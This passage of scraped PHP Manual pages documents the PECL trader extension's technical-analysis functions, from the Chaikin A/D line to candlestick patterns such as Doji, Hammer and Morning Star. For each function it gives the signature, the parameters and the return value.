Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Chaikin A/D Line

  • « trader_acos
  • trader_add »
  • PHP Manual
  • Trader Functions
  • Chaikin A/D Line

trader_ad

(PECL trader >= 0.2.0)

trader_ad — Chaikin A/D Line

Description

array trader_ad ( array $high , array $low , array $close , array $volume )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

volume

Volume traded, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Add

  • « trader_ad
  • trader_adosc »
  • PHP Manual
  • Trader Functions
  • Vector Arithmetic Add

trader_add

(PECL trader >= 0.2.0)

trader_add — Vector Arithmetic Add

Description

array trader_add ( array $real0 , array $real1 )

Calculates the vector addition of real0 to real1 and returns the resulting vector.

Parameters

real0

Array of real values.

real1

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Chaikin A/D Oscillator

  • « trader_add
  • trader_adx »
  • PHP Manual
  • Trader Functions
  • Chaikin A/D Oscillator

trader_adosc

(PECL trader >= 0.2.0)

trader_adosc — Chaikin A/D Oscillator

Description

array trader_adosc ( array $high , array $low , array $close , array $volume [, integer $fastPeriod [, integer $slowPeriod ]] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

volume

Volume traded, array of real values.

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Average Directional Movement Index

  • « trader_adosc
  • trader_adxr »
  • PHP Manual
  • Trader Functions
  • Average Directional Movement Index

trader_adx

(PECL trader >= 0.2.0)

trader_adx — Average Directional Movement Index

Description

array trader_adx ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Average Directional Movement Index Rating

  • « trader_adx
  • trader_apo »
  • PHP Manual
  • Trader Functions
  • Average Directional Movement Index Rating

trader_adxr

(PECL trader >= 0.2.0)

trader_adxr — Average Directional Movement Index Rating

Description

array trader_adxr ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Absolute Price Oscillator

  • « trader_adxr
  • trader_aroon »
  • PHP Manual
  • Trader Functions
  • Absolute Price Oscillator

trader_apo

(PECL trader >= 0.2.0)

trader_apo — Absolute Price Oscillator

Description

array trader_apo ( array $real [, integer $fastPeriod [, integer $slowPeriod [, integer $mAType ]]] )

Parameters

real

Array of real values.

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Aroon

  • « trader_apo
  • trader_aroonosc »
  • PHP Manual
  • Trader Functions
  • Aroon

trader_aroon

(PECL trader >= 0.2.0)

trader_aroon — Aroon

Description

array trader_aroon ( array $high , array $low [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Aroon Oscillator

  • « trader_aroon
  • trader_asin »
  • PHP Manual
  • Trader Functions
  • Aroon Oscillator

trader_aroonosc

(PECL trader >= 0.2.0)

trader_aroonosc — Aroon Oscillator

Description

array trader_aroonosc ( array $high , array $low [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ASin

  • « trader_aroonosc
  • trader_atan »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric ASin

trader_asin

(PECL trader >= 0.2.0)

trader_asin — Vector Trigonometric ASin

Description

array trader_asin ( array $real )

Calculates the arc sine for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ATan

  • « trader_asin
  • trader_atr »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric ATan

trader_atan

(PECL trader >= 0.2.0)

trader_atan — Vector Trigonometric ATan

Description

array trader_atan ( array $real )

Calculates the arc tangent for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Average True Range

  • « trader_atan
  • trader_avgprice »
  • PHP Manual
  • Trader Functions
  • Average True Range

trader_atr

(PECL trader >= 0.2.0)

trader_atr — Average True Range

Description

array trader_atr ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Average Price

  • « trader_atr
  • trader_bbands »
  • PHP Manual
  • Trader Functions
  • Average Price

trader_avgprice

(PECL trader >= 0.2.0)

trader_avgprice — Average Price

Description

array trader_avgprice ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Bollinger Bands

  • « trader_avgprice
  • trader_beta »
  • PHP Manual
  • Trader Functions
  • Bollinger Bands

trader_bbands

(PECL trader >= 0.2.0)

trader_bbands — Bollinger Bands

Description

array trader_bbands ( array $real [, integer $timePeriod [, float $nbDevUp [, float $nbDevDn [, integer $mAType ]]]] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

nbDevUp

Deviation multiplier for upper band. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

nbDevDn

Deviation multiplier for lower band. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Beta

  • « trader_bbands
  • trader_bop »
  • PHP Manual
  • Trader Functions
  • Beta

trader_beta

(PECL trader >= 0.2.0)

trader_beta — Beta

Description

array trader_beta ( array $real0 , array $real1 [, integer $timePeriod ] )

Parameters

real0

Array of real values.

real1

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Balance Of Power

  • « trader_beta
  • trader_cci »
  • PHP Manual
  • Trader Functions
  • Balance Of Power

trader_bop

(PECL trader >= 0.2.0)

trader_bop — Balance Of Power

Description

array trader_bop ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Commodity Channel Index

  • « trader_bop
  • trader_cdl2crows »
  • PHP Manual
  • Trader Functions
  • Commodity Channel Index

trader_cci

(PECL trader >= 0.2.0)

trader_cci — Commodity Channel Index

Description

array trader_cci ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Two Crows

  • « trader_cci
  • trader_cdl3blackcrows »
  • PHP Manual
  • Trader Functions
  • Two Crows

trader_cdl2crows

(PECL trader >= 0.2.0)

trader_cdl2crows — Two Crows

Description

array trader_cdl2crows ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Black Crows

  • « trader_cdl2crows
  • trader_cdl3inside »
  • PHP Manual
  • Trader Functions
  • Three Black Crows

trader_cdl3blackcrows

(PECL trader >= 0.2.0)

trader_cdl3blackcrows — Three Black Crows

Description

array trader_cdl3blackcrows ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Inside Up/Down

  • « trader_cdl3blackcrows
  • trader_cdl3linestrike »
  • PHP Manual
  • Trader Functions
  • Three Inside Up/Down

trader_cdl3inside

(PECL trader >= 0.2.0)

trader_cdl3inside — Three Inside Up/Down

Description

array trader_cdl3inside ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three-Line Strike

  • « trader_cdl3inside
  • trader_cdl3outside »
  • PHP Manual
  • Trader Functions
  • Three-Line Strike

trader_cdl3linestrike

(PECL trader >= 0.2.0)

trader_cdl3linestrike — Three-Line Strike

Description

array trader_cdl3linestrike ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Outside Up/Down

  • « trader_cdl3linestrike
  • trader_cdl3starsinsouth »
  • PHP Manual
  • Trader Functions
  • Three Outside Up/Down

trader_cdl3outside

(PECL trader >= 0.2.0)

trader_cdl3outside — Three Outside Up/Down

Description

array trader_cdl3outside ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Stars In The South

  • « trader_cdl3outside
  • trader_cdl3whitesoldiers »
  • PHP Manual
  • Trader Functions
  • Three Stars In The South

trader_cdl3starsinsouth

(PECL trader >= 0.2.0)

trader_cdl3starsinsouth — Three Stars In The South

Description

array trader_cdl3starsinsouth ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Advancing White Soldiers

  • « trader_cdl3starsinsouth
  • trader_cdlabandonedbaby »
  • PHP Manual
  • Trader Functions
  • Three Advancing White Soldiers

trader_cdl3whitesoldiers

(PECL trader >= 0.2.0)

trader_cdl3whitesoldiers — Three Advancing White Soldiers

Description

array trader_cdl3whitesoldiers ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Abandoned Baby

  • « trader_cdl3whitesoldiers
  • trader_cdladvanceblock »
  • PHP Manual
  • Trader Functions
  • Abandoned Baby

trader_cdlabandonedbaby

(PECL trader >= 0.2.0)

trader_cdlabandonedbaby — Abandoned Baby

Description

array trader_cdlabandonedbaby ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Advance Block

  • « trader_cdlabandonedbaby
  • trader_cdlbelthold »
  • PHP Manual
  • Trader Functions
  • Advance Block

trader_cdladvanceblock

(PECL trader >= 0.2.0)

trader_cdladvanceblock — Advance Block

Description

array trader_cdladvanceblock ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Belt-hold

  • « trader_cdladvanceblock
  • trader_cdlbreakaway »
  • PHP Manual
  • Trader Functions
  • Belt-hold

trader_cdlbelthold

(PECL trader >= 0.2.0)

trader_cdlbelthold — Belt-hold

Description

array trader_cdlbelthold ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Breakaway

  • « trader_cdlbelthold
  • trader_cdlclosingmarubozu »
  • PHP Manual
  • Trader Functions
  • Breakaway

trader_cdlbreakaway

(PECL trader >= 0.2.0)

trader_cdlbreakaway — Breakaway

Description

array trader_cdlbreakaway ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Closing Marubozu

  • « trader_cdlbreakaway
  • trader_cdlconcealbabyswall »
  • PHP Manual
  • Trader Functions
  • Closing Marubozu

trader_cdlclosingmarubozu

(PECL trader >= 0.2.0)

trader_cdlclosingmarubozu — Closing Marubozu

Description

array trader_cdlclosingmarubozu ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Concealing Baby Swallow

  • « trader_cdlclosingmarubozu
  • trader_cdlcounterattack »
  • PHP Manual
  • Trader Functions
  • Concealing Baby Swallow

trader_cdlconcealbabyswall

(PECL trader >= 0.2.0)

trader_cdlconcealbabyswall — Concealing Baby Swallow

Description

array trader_cdlconcealbabyswall ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Counterattack

  • « trader_cdlconcealbabyswall
  • trader_cdldarkcloudcover »
  • PHP Manual
  • Trader Functions
  • Counterattack

trader_cdlcounterattack

(PECL trader >= 0.2.0)

trader_cdlcounterattack — Counterattack

Description

array trader_cdlcounterattack ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Dark Cloud Cover

  • « trader_cdlcounterattack
  • trader_cdldoji »
  • PHP Manual
  • Trader Functions
  • Dark Cloud Cover

trader_cdldarkcloudcover

(PECL trader >= 0.2.0)

trader_cdldarkcloudcover — Dark Cloud Cover

Description

array trader_cdldarkcloudcover ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Doji

  • « trader_cdldarkcloudcover
  • trader_cdldojistar »
  • PHP Manual
  • Trader Functions
  • Doji

trader_cdldoji

(PECL trader >= 0.2.0)

trader_cdldoji — Doji

Description

array trader_cdldoji ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Doji Star

  • « trader_cdldoji
  • trader_cdldragonflydoji »
  • PHP Manual
  • Trader Functions
  • Doji Star

trader_cdldojistar

(PECL trader >= 0.2.0)

trader_cdldojistar — Doji Star

Description

array trader_cdldojistar ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Dragonfly Doji

  • « trader_cdldojistar
  • trader_cdlengulfing »
  • PHP Manual
  • Trader Functions
  • Dragonfly Doji

trader_cdldragonflydoji

(PECL trader >= 0.2.0)

trader_cdldragonflydoji — Dragonfly Doji

Description

array trader_cdldragonflydoji ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Engulfing Pattern

  • « trader_cdldragonflydoji
  • trader_cdleveningdojistar »
  • PHP Manual
  • Trader Functions
  • Engulfing Pattern

trader_cdlengulfing

(PECL trader >= 0.2.0)

trader_cdlengulfing — Engulfing Pattern

Description

array trader_cdlengulfing ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Evening Doji Star

  • « trader_cdlengulfing
  • trader_cdleveningstar »
  • PHP Manual
  • Trader Functions
  • Evening Doji Star

trader_cdleveningdojistar

(PECL trader >= 0.2.0)

trader_cdleveningdojistar — Evening Doji Star

Description

array trader_cdleveningdojistar ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Evening Star

  • « trader_cdleveningdojistar
  • trader_cdlgapsidesidewhite »
  • PHP Manual
  • Trader Functions
  • Evening Star

trader_cdleveningstar

(PECL trader >= 0.2.0)

trader_cdleveningstar — Evening Star

Description

array trader_cdleveningstar ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Up/Down-gap side-by-side white lines

  • « trader_cdleveningstar
  • trader_cdlgravestonedoji »
  • PHP Manual
  • Trader Functions
  • Up/Down-gap side-by-side white lines

trader_cdlgapsidesidewhite

(PECL trader >= 0.2.0)

trader_cdlgapsidesidewhite — Up/Down-gap side-by-side white lines

Description

array trader_cdlgapsidesidewhite ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gravestone Doji

  • « trader_cdlgapsidesidewhite
  • trader_cdlhammer »
  • PHP Manual
  • Trader Functions
  • Gravestone Doji

trader_cdlgravestonedoji

(PECL trader >= 0.2.0)

trader_cdlgravestonedoji — Gravestone Doji

Description

array trader_cdlgravestonedoji ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hammer

  • « trader_cdlgravestonedoji
  • trader_cdlhangingman »
  • PHP Manual
  • Trader Functions
  • Hammer

trader_cdlhammer

(PECL trader >= 0.2.0)

trader_cdlhammer — Hammer

Description

array trader_cdlhammer ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hanging Man

  • « trader_cdlhammer
  • trader_cdlharami »
  • PHP Manual
  • Trader Functions
  • Hanging Man

trader_cdlhangingman

(PECL trader >= 0.2.0)

trader_cdlhangingman — Hanging Man

Description

array trader_cdlhangingman ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Harami Pattern

  • « trader_cdlhangingman
  • trader_cdlharamicross »
  • PHP Manual
  • Trader Functions
  • Harami Pattern

trader_cdlharami

(PECL trader >= 0.2.0)

trader_cdlharami — Harami Pattern

Description

array trader_cdlharami ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Harami Cross Pattern

  • « trader_cdlharami
  • trader_cdlhighwave »
  • PHP Manual
  • Trader Functions
  • Harami Cross Pattern

trader_cdlharamicross

(PECL trader >= 0.2.0)

trader_cdlharamicross — Harami Cross Pattern

Description

array trader_cdlharamicross ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


High-Wave Candle

  • « trader_cdlharamicross
  • trader_cdlhikkake »
  • PHP Manual
  • Trader Functions
  • High-Wave Candle

trader_cdlhighwave

(PECL trader >= 0.2.0)

trader_cdlhighwave — High-Wave Candle

Description

array trader_cdlhighwave ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hikkake Pattern

  • « trader_cdlhighwave
  • trader_cdlhikkakemod »
  • PHP Manual
  • Trader Functions
  • Hikkake Pattern

trader_cdlhikkake

(PECL trader >= 0.2.0)

trader_cdlhikkake — Hikkake Pattern

Description

array trader_cdlhikkake ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Modified Hikkake Pattern

  • « trader_cdlhikkake
  • trader_cdlhomingpigeon »
  • PHP Manual
  • Trader Functions
  • Modified Hikkake Pattern

trader_cdlhikkakemod

(PECL trader >= 0.2.0)

trader_cdlhikkakemod — Modified Hikkake Pattern

Description

array trader_cdlhikkakemod ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Homing Pigeon

  • « trader_cdlhikkakemod
  • trader_cdlidentical3crows »
  • PHP Manual
  • Trader Functions
  • Homing Pigeon

trader_cdlhomingpigeon

(PECL trader >= 0.2.0)

trader_cdlhomingpigeon — Homing Pigeon

Description

array trader_cdlhomingpigeon ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Identical Three Crows

  • « trader_cdlhomingpigeon
  • trader_cdlinneck »
  • PHP Manual
  • Trader Functions
  • Identical Three Crows

trader_cdlidentical3crows

(PECL trader >= 0.2.0)

trader_cdlidentical3crows — Identical Three Crows

Description

array trader_cdlidentical3crows ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


In-Neck Pattern

  • « trader_cdlidentical3crows
  • trader_cdlinvertedhammer »
  • PHP Manual
  • Trader Functions
  • In-Neck Pattern

trader_cdlinneck

(PECL trader >= 0.2.0)

trader_cdlinneck — In-Neck Pattern

Description

array trader_cdlinneck ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Inverted Hammer

  • « trader_cdlinneck
  • trader_cdlkicking »
  • PHP Manual
  • Trader Functions
  • Inverted Hammer

trader_cdlinvertedhammer

(PECL trader >= 0.2.0)

trader_cdlinvertedhammer — Inverted Hammer

Description

array trader_cdlinvertedhammer ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kicking

  • « trader_cdlinvertedhammer
  • trader_cdlkickingbylength »
  • PHP Manual
  • Trader Functions
  • Kicking

trader_cdlkicking

(PECL trader >= 0.2.0)

trader_cdlkicking — Kicking

Description

array trader_cdlkicking ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kicking - bull/bear determined by the longer marubozu

  • « trader_cdlkicking
  • trader_cdlladderbottom »
  • PHP Manual
  • Trader Functions
  • Kicking - bull/bear determined by the longer marubozu

trader_cdlkickingbylength

(PECL trader >= 0.2.0)

trader_cdlkickingbylength — Kicking - bull/bear determined by the longer marubozu

Description

array trader_cdlkickingbylength ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ladder Bottom

  • « trader_cdlkickingbylength
  • trader_cdllongleggeddoji »
  • PHP Manual
  • Trader Functions
  • Ladder Bottom

trader_cdlladderbottom

(PECL trader >= 0.2.0)

trader_cdlladderbottom — Ladder Bottom

Description

array trader_cdlladderbottom ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Long Legged Doji

  • « trader_cdlladderbottom
  • trader_cdllongline »
  • PHP Manual
  • Trader Functions
  • Long Legged Doji

trader_cdllongleggeddoji

(PECL trader >= 0.2.0)

trader_cdllongleggeddoji — Long Legged Doji

Description

array trader_cdllongleggeddoji ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Long Line Candle

  • « trader_cdllongleggeddoji
  • trader_cdlmarubozu »
  • PHP Manual
  • Trader Functions
  • Long Line Candle

trader_cdllongline

(PECL trader >= 0.2.0)

trader_cdllongline — Long Line Candle

Description

array trader_cdllongline ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Marubozu

  • « trader_cdllongline
  • trader_cdlmatchinglow »
  • PHP Manual
  • Trader Functions
  • Marubozu

trader_cdlmarubozu

(PECL trader >= 0.2.0)

trader_cdlmarubozu — Marubozu

Description

array trader_cdlmarubozu ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Matching Low

  • « trader_cdlmarubozu
  • trader_cdlmathold »
  • PHP Manual
  • Trader Functions
  • Matching Low

trader_cdlmatchinglow

(PECL trader >= 0.2.0)

trader_cdlmatchinglow — Matching Low

Description

array trader_cdlmatchinglow ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Mat Hold

  • « trader_cdlmatchinglow
  • trader_cdlmorningdojistar »
  • PHP Manual
  • Trader Functions
  • Mat Hold

trader_cdlmathold

(PECL trader >= 0.2.0)

trader_cdlmathold — Mat Hold

Description

array trader_cdlmathold ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Morning Doji Star

  • « trader_cdlmathold
  • trader_cdlmorningstar »
  • PHP Manual
  • Trader Functions
  • Morning Doji Star

trader_cdlmorningdojistar

(PECL trader >= 0.2.0)

trader_cdlmorningdojistar — Morning Doji Star

Description

array trader_cdlmorningdojistar ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Morning Star

  • « trader_cdlmorningdojistar
  • trader_cdlonneck »
  • PHP Manual
